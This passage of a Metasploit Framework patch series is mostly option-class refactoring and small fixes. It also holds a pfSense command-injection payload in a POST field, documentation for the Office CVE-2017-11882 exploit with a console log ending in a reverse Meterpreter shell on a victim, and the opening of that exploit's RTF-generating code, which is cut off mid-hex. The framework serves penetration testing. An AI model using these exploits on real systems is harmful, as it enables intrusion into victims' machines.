+++ b/lib/msf/core/modules/external/templates/dos.erb
@@ -0,0 +1,29 @@
+require 'msf/core/modules/external/bridge'
+require 'msf/core/module/external'
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Module::External
+  include Msf::Auxiliary::Dos
+
+  def initialize
+    super({
+	  <%= common_metadata meta %>
+      'References'  =>
+        [
+          <%= meta[:references] %>
+        ],
+      'DisclosureDate' => <%= meta[:date] %>,
+      })
+
+      register_options([
+        <%= meta[:options] %>
+      ])
+  end
+
+  def run
+    print_status("Starting server...")
+    mod = Msf::Modules::External::Bridge.open(<%= meta[:path] %>)
+    mod.run(datastore)
+    wait_status(mod)
+  end
+end

From 40a71af7ed9e8c1ca95e2288de24a57f442898f4 Mon Sep 17 00:00:00 2001
From: Adam Cammack <adam_cammack@rapid7.com>
Date: Mon, 20 Nov 2017 17:50:59 -0600
Subject: [PATCH 156/254] Add missing `end`

---
 lib/msf/core/modules/external/shim.rb | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/lib/msf/core/modules/external/shim.rb b/lib/msf/core/modules/external/shim.rb
index 284558eeb5..fe20aaf3ef 100644
--- a/lib/msf/core/modules/external/shim.rb
+++ b/lib/msf/core/modules/external/shim.rb
@@ -74,6 +74,8 @@ class Msf::Modules::External::Shim
     meta[:date] = mod.meta['date'].dump
     meta[:references] = mod.meta['references'].map do |r|
       "[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
+    end.join(",\n          ")
+
     render_template('dos.erb', meta)
   end
 end

From dd8238d146ff6b33439a27244334a20fe9b52a5a Mon Sep 17 00:00:00 2001
From: h00die <michaeltcyr@gmail.com>
Date: Mon, 20 Nov 2017 20:08:28 -0500
Subject: [PATCH 157/254] rubocop got a donut

---
 .../unix/http/pfsense_group_member_exec.rb    | 30 +++++++++----------
 1 file changed, 15 insertions(+), 15 deletions(-)

diff --git a/modules/exploits/unix/http/pfsense_group_member_exec.rb b/modules/exploits/unix/http/pfsense_group_member_exec.rb
index 9a4c10df5c..ff3708fb89 100644
--- a/modules/exploits/unix/http/pfsense_group_member_exec.rb
+++ b/modules/exploits/unix/http/pfsense_group_member_exec.rb
@@ -67,8 +67,8 @@ class MetasploitModule < Msf::Exploit::Remote
   def login
     res = send_request_cgi(
       'uri' => '/index.php',
-      'method' => 'GET',
-      )
+      'method' => 'GET'
+    )
     fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
     fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
 
@@ -87,7 +87,7 @@ class MetasploitModule < Msf::Exploit::Remote
       }
     )
     unless res
-      fail_with(Failure::UnexpectedReply, '#{peer} - Did not respond to authentication request')
+      fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
     end
     if res.code == 302
       vprint_status('Successful Authentication')
@@ -105,7 +105,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'cookie' => cookie
     )
     unless res
-      fail_with(Failure::UnexpectedReply, '#{peer} - Did not respond to authentication request')
+      fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
     end
     /Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
     if version
@@ -156,23 +156,23 @@ class MetasploitModule < Msf::Exploit::Remote
 
       group_name = rand_text_alpha(10)
       post_vars = {
-          '__csrf_magic' => csrf,
-          'groupname' => group_name,
-          'description' => '',
-          'members[]' => "0';#{payload.encoded};'",
-          'groupid' => '',
-          'save' => 'Save'
+        '__csrf_magic' => csrf,
+        'groupname' => group_name,
+        'description' => '',
+        'members[]' => "0';#{payload.encoded};'",
+        'groupid' => '',
+        'save' => 'Save'
       }
       if version >= Gem::Version.new('2.3')
-        post_vars.merge({'gtype' => 'local'})
-      elsif version <= Gem::Version.new('2.3') #catch for 2.2.6. left this elsif for easy expansion to other versions as needed
-        post_vars.merge({
+        post_vars = post_vars.merge('gtype' => 'local')
+      elsif version <= Gem::Version.new('2.3') # catch for 2.2.6. left this elsif for easy expansion to other versions as needed
+        post_vars = post_vars.merge(
           'act' => '',
           'gtype' => '',
           'privid' => ''
-        })
+        )
       end
-      res = send_request_cgi(
+      send_request_cgi(
         'uri'           => '/system_groupmanager.php',
         'method'        => 'POST',
         'cookie'        => cookie,

From 249c08f597a514b3a37f07ada3ba8efc2c1c86f7 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Wed, 20 Sep 2017 19:02:15 -0500
Subject: [PATCH 158/254] usability improvements ith how base options are
 registered

This adds named parameters for all of the current array-index based
options. It also allows specifying the description as the 2nd parameter,
allowing the 'required' parameter to be implicitly false (the most
common value).

A simple parameter like:

 OptAddress.new('ReverseListenerBindAddress',
   [false, 'The specific IP address to bind to on the local system']),

Can now be rewritten as:

 OptAddress.new('ReverseListenerBindAddress',
   'The specific IP address to bind to on the local system'),

More complex options are also now easier to read:

 OptString.new(
   'HttpUserAgent',
   'The user-agent that the payload should use',
   default: Rex::UserAgent.shortest,
   aliases: ['MeterpreterUserAgent']
 ),

This also makes dealing with enums easier because default is implicit
unless specified. This:

  OptEnum.new('PayloadProxyType',
    [true, 'The proxy type, HTTP or SOCKS', 'HTTP', ['HTTP', 'SOCKS']]),

Becomes:

  OptEnum.new('HttpProxyType',
    'The proxy type, HTTP or SOCKS', required: true, enums: ['HTTP', 'SOCKS'])

This maintains full backward compatibility with existing code as well.
---
 lib/msf/core/opt_base.rb | 43 ++++++++++++++++++++++++++--------------
 1 file changed, 28 insertions(+), 15 deletions(-)

diff --git a/lib/msf/core/opt_base.rb b/lib/msf/core/opt_base.rb
index 348a0eca33..a8ce71f4b4 100644
--- a/lib/msf/core/opt_base.rb
+++ b/lib/msf/core/opt_base.rb
@@ -22,15 +22,31 @@ module Msf
     # attrs[3] = possible enum values
     # attrs[4] = Regex to validate the option
     #
-    def initialize(in_name, attrs = [], aliases: [])
+    # Attrs can also be specified explicitly via named parameters, or attrs can
+    # also be a string as standin for the required description field.
+    #
+    def initialize(in_name, attrs = [],
+                   required: false, desc: nil, default: nil, enums: [], regex: nil, aliases: [])
       self.name     = in_name
       self.advanced = false
       self.evasion  = false
-      self.required = attrs[0] || false
-      self.desc     = attrs[1]
-      self.default  = attrs[2]
-      self.enums    = [ *(attrs[3]) ].map { |x| x.to_s }
-      regex_temp    = attrs[4] || nil
+      self.aliases  = aliases
+
+      if attrs.is_a?(String) || attrs.length == 0
+        self.required = required
+        self.desc     = attrs.is_a?(String) ? attrs : desc
+        self.enums    = [ *(enums) ].map { |x| x.to_s }
+        self.default  = default || enums[0]
+        regex_temp    = regex
+      else
+        self.required = attrs[0] || required
+        self.desc     = attrs[1] || desc
+        self.default  = attrs[2] || default
+        self.enums    = attrs[3] || enums
+        self.enums    = [ *(self.enums) ].map { |x| x.to_s }
+        regex_temp    = attrs[4] || regex
+      end
+
       if regex_temp
         # convert to string
         regex_temp = regex_temp.to_s if regex_temp.is_a? Regexp
@@ -45,35 +61,34 @@ module Msf
           raise("Invalid Regex #{regex_temp}: #{e}")
         end
       end
-      self.aliases = aliases
     end
 
     #
     # Returns true if this is a required option.
     #
     def required?
-      return required
+      required
     end
 
     #
     # Returns true if this is an advanced option.
     #
     def advanced?
-      return advanced
+      advanced
     end
 
     #
     # Returns true if this is an evasion option.
     #
     def evasion?
-      return evasion
+      evasion
     end
 
     #
     # Returns true if the supplied type is equivalent to this option's type.
     #
     def type?(in_type)
-      return (type == in_type)
+      type == in_type
     end
 
     #
@@ -94,7 +109,7 @@ module Msf
       if regex
         return !!value.match(regex)
       end
-      return true
+      true
     end
 
     #
@@ -102,7 +117,7 @@ module Msf
     # a valid value
     #
     def empty_required_value?(value)
-      return (required? and value.nil?)
+      required? && value.nil?
     end
 
     #
@@ -169,6 +184,4 @@ module Msf
 
     attr_writer   :required, :desc, :default # :nodoc:
   end
-
 end
-

From d3ee86dc5c83d01f6cf3fa1f871c0b563c2ce4ec Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Wed, 20 Sep 2017 21:13:30 -0500
Subject: [PATCH 159/254] update to new format

---
 lib/msf/core/opt.rb | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb
index 2d0a719fd2..a6bb8d3a95 100644
--- a/lib/msf/core/opt.rb
+++ b/lib/msf/core/opt.rb
@@ -53,9 +53,10 @@ module Msf
 
     # @return [OptEnum]
     def self.SSLVersion
-      Msf::OptEnum.new('SSLVersion', [ false,
-        'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)', 'Auto',
-        ['Auto', 'SSL2', 'SSL3', 'SSL23', 'TLS', 'TLS1', 'TLS1.1', 'TLS1.2']])
+      Msf::OptEnum.new('SSLVersion',
+        'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)',
+        enums: ['Auto', 'SSL2', 'SSL3', 'SSL23', 'TLS', 'TLS1', 'TLS1.1', 'TLS1.2']
+      )
     end
 
     # These are unused but remain for historical reasons

From ffa6d74a23f3d2ff08365c6116080dfab0e01b57 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Wed, 20 Sep 2017 21:14:25 -0500
Subject: [PATCH 160/254] remove historical cruft

---
 lib/msf/core/opt.rb | 13 -------------
 1 file changed, 13 deletions(-)

diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb
index a6bb8d3a95..a92fcbd1dc 100644
--- a/lib/msf/core/opt.rb
+++ b/lib/msf/core/opt.rb
@@ -1,7 +1,6 @@
 # -*- coding: binary -*-
 
 module Msf
-
   #
   # Builtin framework options with shortcut methods
   #
@@ -59,17 +58,6 @@ module Msf
       )
     end
 
-    # These are unused but remain for historical reasons
-    class << self
-      alias builtin_chost CHOST
-      alias builtin_cport CPORT
-      alias builtin_lhost LHOST
-      alias builtin_lport LPORT
-      alias builtin_proxies Proxies
-      alias builtin_rhost RHOST
-      alias builtin_rport RPORT
-    end
-
     CHOST = CHOST()
     CPORT = CPORT()
     LHOST = LHOST()
@@ -79,5 +67,4 @@ module Msf
     RPORT = RPORT()
     SSLVersion = SSLVersion()
   end
-
 end

From 65c58c3d552f6b855546c3f28468fc675b97d2c9 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Wed, 20 Sep 2017 21:17:03 -0500
Subject: [PATCH 161/254] set a good default, remove unused methods, speed up
 checks

---
 lib/msf/core/opt_bool.rb | 59 ++++++++++++++--------------------------
 1 file changed, 21 insertions(+), 38 deletions(-)

diff --git a/lib/msf/core/opt_bool.rb b/lib/msf/core/opt_bool.rb
index a003817f21..41d184584b 100644
--- a/lib/msf/core/opt_bool.rb
+++ b/lib/msf/core/opt_bool.rb
@@ -1,48 +1,31 @@
 # -*- coding: binary -*-
 
 module Msf
+  # Boolean option type
+  class OptBool < OptBase
+    TRUE_REGEX = /^(y|yes|t|1|true)$/i
+    ANY_REGEX = /^(y|yes|n|no|t|f|0|1|true|false)$/i
 
-###
-#
-# Boolean option.
-#
-###
-class OptBool < OptBase
-
-  TrueRegex = /^(y|yes|t|1|true)$/i
-
-  def type
-    return 'bool'
-  end
-
-  def valid?(value, check_empty: true)
-    return false if empty_required_value?(value)
-
-    if ((value != nil and
-        (value.to_s.empty? == false) and
-        (value.to_s.match(/^(y|yes|n|no|t|f|0|1|true|false)$/i) == nil)))
-      return false
+    # This overrides default from 'nil' to 'false'
+    def initialize(in_name, attrs = [],
+                   required: true, desc: nil, default: false, aliases: [])
+      super
     end
 
-    true
-  end
+    def type
+      return 'bool'
+    end
 
-  def normalize(value)
-    if(value.nil? or value.to_s.match(TrueRegex).nil?)
-      false
-    else
-      true
+    def valid?(value, check_empty: true)
+      return false if check_empty && empty_required_value?(value)
+      !(value.nil? ||
+        value.to_s.empty? ||
+        value.to_s.match(ANY_REGEX).nil?)
+    end
+
+    def normalize(value)
+      !(value.nil? ||
+        value.to_s.match(TRUE_REGEX).nil?)
     end
   end
-
-  def is_true?(value)
-    return normalize(value)
-  end
-
-  def is_false?(value)
-    return !is_true?(value)
-  end
-
-end
-
 end

From d811a2a8c14f6b3df30384e0e5894033f9984b3d Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Wed, 20 Sep 2017 21:17:51 -0500
Subject: [PATCH 162/254] set good defaults

---
 lib/msf/core/opt_enum.rb | 81 +++++++++++++++++++---------------------
 1 file changed, 39 insertions(+), 42 deletions(-)

diff --git a/lib/msf/core/opt_enum.rb b/lib/msf/core/opt_enum.rb
index 168c74b3dc..722fe113cf 100644
--- a/lib/msf/core/opt_enum.rb
+++ b/lib/msf/core/opt_enum.rb
@@ -1,48 +1,45 @@
 # -*- coding: binary -*-
 
 module Msf
-
-###
-#
-# Enum option.
-#
-###
-class OptEnum < OptBase
-
-  def type
-    return 'enum'
-  end
-
-  def valid?(value=self.value, check_empty: true)
-    return false if check_empty && empty_required_value?(value)
-    return true if value.nil? and !required?
-
-    (value and self.enums.include?(value.to_s))
-  end
-
-  def normalize(value=self.value)
-    return nil if not self.valid?(value)
-    return value.to_s
-  end
-
-  def desc=(value)
-    self.desc_string = value
-
-    self.desc
-  end
-
-  def desc
-    if self.enums
-      str = self.enums.join(', ')
+  ###
+  #
+  # Enum option.
+  #
+  ###
+  class OptEnum < OptBase
+    def type
+      return 'enum'
     end
-    "#{self.desc_string || ''} (Accepted: #{str})"
+
+    # This overrides required default from 'false' to 'true'
+    def initialize(in_name, attrs = [],
+                   required: true, desc: nil, default: nil, enums: [], aliases: [])
+      super
+    end
+
+    def valid?(value = self.value, check_empty: true)
+      return false if check_empty && empty_required_value?(value)
+      return true if value.nil? && !required?
+
+      (value && enums.include?(value.to_s))
+    end
+
+    def normalize(value = self.value)
+      !valid?(value) ? nil : value.to_s
+    end
+
+    def desc=(value)
+      self.desc_string = value
+      desc
+    end
+
+    def desc
+      str = enums.join(', ') if enums
+      "#{desc_string || ''} (Accepted: #{str})"
+    end
+
+    protected
+
+    attr_accessor :desc_string # :nodoc:
   end
-
-
-protected
-
-  attr_accessor :desc_string # :nodoc:
-
-end
-
 end

From 6da66e885aeafc82cd06478dd04f2daaec109c98 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Thu, 21 Sep 2017 02:33:37 -0500
Subject: [PATCH 163/254] fix enum default logic for bools that default to
 false

---
 lib/msf/core/opt_base.rb | 6 +++++-
 lib/msf/core/opt_enum.rb | 6 +++++-
 2 files changed, 10 insertions(+), 2 deletions(-)

diff --git a/lib/msf/core/opt_base.rb b/lib/msf/core/opt_base.rb
index a8ce71f4b4..9c780c6789 100644
--- a/lib/msf/core/opt_base.rb
+++ b/lib/msf/core/opt_base.rb
@@ -36,7 +36,11 @@ module Msf
         self.required = required
         self.desc     = attrs.is_a?(String) ? attrs : desc
         self.enums    = [ *(enums) ].map { |x| x.to_s }
-        self.default  = default || enums[0]
+        if default.nil? && enums.length > 0
+          self.default  = enums[0]
+        else
+          self.default = default
+        end
         regex_temp    = regex
       else
         self.required = attrs[0] || required
diff --git a/lib/msf/core/opt_enum.rb b/lib/msf/core/opt_enum.rb
index 722fe113cf..3b05709b64 100644
--- a/lib/msf/core/opt_enum.rb
+++ b/lib/msf/core/opt_enum.rb
@@ -25,7 +25,11 @@ module Msf
     end
 
     def normalize(value = self.value)
-      !valid?(value) ? nil : value.to_s
+      if valid?(value)
+        value.to_s
+      else
+        nil
+      end
     end
 
     def desc=(value)

From 6615c6efc7fe548025383e992b5501e42adec30b Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Thu, 21 Sep 2017 08:05:33 -0500
Subject: [PATCH 164/254] tighten up corner cases with option validation

---
 lib/msf/core/opt_base.rb | 12 ++++++------
 lib/msf/core/opt_bool.rb |  2 ++
 lib/msf/core/opt_enum.rb |  2 +-
 3 files changed, 9 insertions(+), 7 deletions(-)

diff --git a/lib/msf/core/opt_base.rb b/lib/msf/core/opt_base.rb
index 9c780c6789..4abd44c8ac 100644
--- a/lib/msf/core/opt_base.rb
+++ b/lib/msf/core/opt_base.rb
@@ -36,14 +36,14 @@ module Msf
         self.required = required
         self.desc     = attrs.is_a?(String) ? attrs : desc
         self.enums    = [ *(enums) ].map { |x| x.to_s }
-        if default.nil? && enums.length > 0
-          self.default  = enums[0]
-        else
-          self.default = default
-        end
+        self.default  = default
         regex_temp    = regex
       else
-        self.required = attrs[0] || required
+        if attrs[0].nil?
+          self.required = required
+        else
+          self.required = attrs[0]
+        end
         self.desc     = attrs[1] || desc
         self.default  = attrs[2] || default
         self.enums    = attrs[3] || enums
diff --git a/lib/msf/core/opt_bool.rb b/lib/msf/core/opt_bool.rb
index 41d184584b..cdee151f2e 100644
--- a/lib/msf/core/opt_bool.rb
+++ b/lib/msf/core/opt_bool.rb
@@ -18,6 +18,8 @@ module Msf
 
     def valid?(value, check_empty: true)
       return false if check_empty && empty_required_value?(value)
+      return true if value.nil? && !required?
+
       !(value.nil? ||
         value.to_s.empty? ||
         value.to_s.match(ANY_REGEX).nil?)
diff --git a/lib/msf/core/opt_enum.rb b/lib/msf/core/opt_enum.rb
index 3b05709b64..4f830ee411 100644
--- a/lib/msf/core/opt_enum.rb
+++ b/lib/msf/core/opt_enum.rb
@@ -21,7 +21,7 @@ module Msf
       return false if check_empty && empty_required_value?(value)
       return true if value.nil? && !required?
 
-      (value && enums.include?(value.to_s))
+      !value.nil? && enums.include?(value.to_s)
     end
 
     def normalize(value = self.value)

From 967b459ff1110080bd4b9ed16e6e8c8a0e44a752 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Thu, 21 Sep 2017 09:20:12 -0500
Subject: [PATCH 165/254] restore default enum is first value behavior

---
 lib/msf/core/opt_base.rb | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/lib/msf/core/opt_base.rb b/lib/msf/core/opt_base.rb
index 4abd44c8ac..3b8c389ce7 100644
--- a/lib/msf/core/opt_base.rb
+++ b/lib/msf/core/opt_base.rb
@@ -36,8 +36,12 @@ module Msf
         self.required = required
         self.desc     = attrs.is_a?(String) ? attrs : desc
         self.enums    = [ *(enums) ].map { |x| x.to_s }
-        self.default  = default
-        regex_temp    = regex
+        if default.nil? && enums.length > 0
+          self.default = enums[0]
+        else
+          self.default = default
+        end
+        regex_temp = regex
       else
         if attrs[0].nil?
           self.required = required

From c5cc013819898471a12243f7d313565c511e4c21 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Tue, 21 Nov 2017 03:19:42 -0600
Subject: [PATCH 166/254] auto-detect SSL supported options

---
 lib/msf/core/opt.rb | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb
index a92fcbd1dc..3d622aff72 100644
--- a/lib/msf/core/opt.rb
+++ b/lib/msf/core/opt.rb
@@ -50,11 +50,18 @@ module Msf
       Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
     end
 
+    def self.ssl_supported_options
+      @m ||= ['Auto', 'TLS'] + OpenSSL::SSL::SSLContext::METHODS \
+             .select{|m| !m.to_s.include?('client') && !m.to_s.include?('server')} \
+             .select{|m| OpenSSL::SSL::SSLContext.new(m) && true rescue false} \
+             .map{|m| m.to_s.sub(/v/, '').sub('_', '.')}
+    end
+
     # @return [OptEnum]
     def self.SSLVersion
       Msf::OptEnum.new('SSLVersion',
         'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)',
-        enums: ['Auto', 'SSL2', 'SSL3', 'SSL23', 'TLS', 'TLS1', 'TLS1.1', 'TLS1.2']
+        enums: self.ssl_supported_options
       )
     end
 

From fcf2cfa13431fbf4c12275c5a9a54489c396e608 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Tue, 21 Nov 2017 14:45:56 -0500
Subject: [PATCH 167/254] Create office_ms17_11882.md

---
 .../windows/fileformat/office_ms17_11882.md   | 56 +++++++++++++++++++
 1 file changed, 56 insertions(+)
 create mode 100644 documentation/modules/exploit/windows/fileformat/office_ms17_11882.md

diff --git a/documentation/modules/exploit/windows/fileformat/office_ms17_11882.md b/documentation/modules/exploit/windows/fileformat/office_ms17_11882.md
new file mode 100644
index 0000000000..b6b3ae81c6
--- /dev/null
+++ b/documentation/modules/exploit/windows/fileformat/office_ms17_11882.md
@@ -0,0 +1,56 @@
+Office products within the last 17 years allow an attacker to execute arbitrary commands through memory corruption in Office documents. This occurs in how MS office fails to properly handle OLE objects in memory. Requires an victim
+to open an MS `.rtf` file. In addition for the payload to be executed, the user must not open as read-only. Otherwise requires no interaction beyond that from the user.
+
+## Vulnerable Application
+
+- Microsoft Office 2016
+- Microsoft Office 2013 Service Pack 1
+- Microsoft Office 2010 Service Pack 2
+- Microsoft Office 2007
+
+## Verification Steps
+
+1. Start msfconsole
+2. Do: `use exploit/windows/fileformat/office_ms17_11882`
+3. Do: `set PAYLOAD [PAYLOAD]`
+4. Do: `run`
+
+## Options
+### FILENAME
+Filename to output, and location to which should be written.
+
+
+## Example
+
+```
+msf > use exploit/windows/fileformat/office_ms17_11882
+msf exploit(office_ms17_11882) > set FILENAME /home/mumbai/file.rtf
+FILENAME => /home/mumbai/file.rtf
+msf exploit(office_ms17_11882) > set LHOST ens3
+LHOST => ens3
+msf exploit(office_ms17_11882) > set LPORT 35116
+LPORT => 35116
+msf exploit(office_ms17_11882) > run
+[*] Exploit running as background job 0.
+
+[*] Started reverse TCP handler on 192.168.0.11:35116
+msf exploit(office_ms17_11882) > [*] Using URL: http://0.0.0.0:8080/e08qBLfVxgaJZPo
+[*] Local IP: http://192.168.0.11:8080/e08qBLfVxgaJZPo
+[*] Server started.
+[*] 192.168.0.24     office_ms17_11882 - Handling initial request from 192.168.0.24
+[*] 192.168.0.24     office_ms17_11882 - Stage two requestd, sending
+[*] Sending stage (205379 bytes) to 192.168.0.24
+[*] Meterpreter session 1 opened (192.168.0.11:35116 -> 192.168.0.24:52217) at 2017-11-21 14:41:59 -0500
+sessions -i 1
+[*] Starting interaction with 1...
+
+meterpreter > sysinfo
+Computer        : TEST-PC
+OS              : Windows 7 (Build 7601, Service Pack 1).
+Architecture    : x64
+System Language : en_US
+Domain          : WORKGROUP
+Logged On Users : 1
+Meterpreter     : x64/windows
+meterpreter >
+```

From 39a4d193a17c6f85846a58a429c0914f542bded2 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Tue, 21 Nov 2017 14:47:02 -0500
Subject: [PATCH 168/254] Create office_ms17_11882.rb

---
 .../windows/fileformat/office_ms17_11882.rb   | 210 ++++++++++++++++++
 1 file changed, 210 insertions(+)
 create mode 100644 modules/exploits/windows/fileformat/office_ms17_11882.rb

diff --git a/modules/exploits/windows/fileformat/office_ms17_11882.rb b/modules/exploits/windows/fileformat/office_ms17_11882.rb
new file mode 100644
index 0000000000..e5f44235ec
--- /dev/null
+++ b/modules/exploits/windows/fileformat/office_ms17_11882.rb
@@ -0,0 +1,210 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ManualRanking
+
+  include Msf::Exploit::Remote::HttpServer
+  include Msf::Exploit::Powershell
+  include Msf::Exploit::EXE
+
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name' => 'Microsoft Office CVE-2017-11882',
+      'Description' => %q{
+        Module exploits a flaw in the Equation Editor, developed
+        in 2000, that allowed any OLE object to execute in a separate
+        address space. Compared to original PoC, allows for a command within
+        a length of 109 bytes to be executed Affects Microsoft Office word for the latest
+        17 years.
+      },
+      'Author' => ['mumbai', 'embedi', 'BlackMathIT'],
+      'License' => MSF_LICENSE,
+      'DisclosureDate' => 'Nov 15 2017',
+      'References' => [
+        ['URL', 'https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about'],
+        ['URL', 'https://github.com/embedi/CVE-2017-11882'],
+        ['URL', 'https://github.com/BlackMathIT/2017-11882_Generator/blob/master/2017-11882_Generator.py']
+      ],
+      'Platform' => 'win',
+      'Arch' => [ARCH_X86, ARCH_X64],
+      'Targets' => [
+        ['Automatic', {} ],
+      ],
+      'DefaultTarget' => 0,
+      'Payload' => {
+        'DisableNops' => true
+      },
+      'DefaultOptions' => {
+        'EXITFUNC' => 'thread',
+        'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
+      }
+    ))
+
+    register_options([
+        OptString.new("FILENAME", [true, "Filename to save as"])
+    ])
+  end
+
+
+
+  def generate_rtf
+    header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
+    header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
+    header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata '
+    header << '01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff'
+    header << '0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e007400720079000000000000000000000000000000000000000000000000000000'
+    header << '00000000000000000000000000000000000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000000000000000008020ce'
+    header << 'a5613cd30103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000'
+    header << '000000000000000000000000000000000a000201ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000000'
+    header << '000000000000001400000000000000010043006f006d0070004f0062006a0000000000000000000000000000000000000000000000000000000000000000000000'
+    header << '0000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000'
+    header << '0001000000660000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000'
+    header << '00000000000000000000000012000201ffffffff04000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000003'
+    header << '0000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffff0100000208000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
+    header << '00000100feff030a0000ffffffff02ce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e30000c00000044532045'
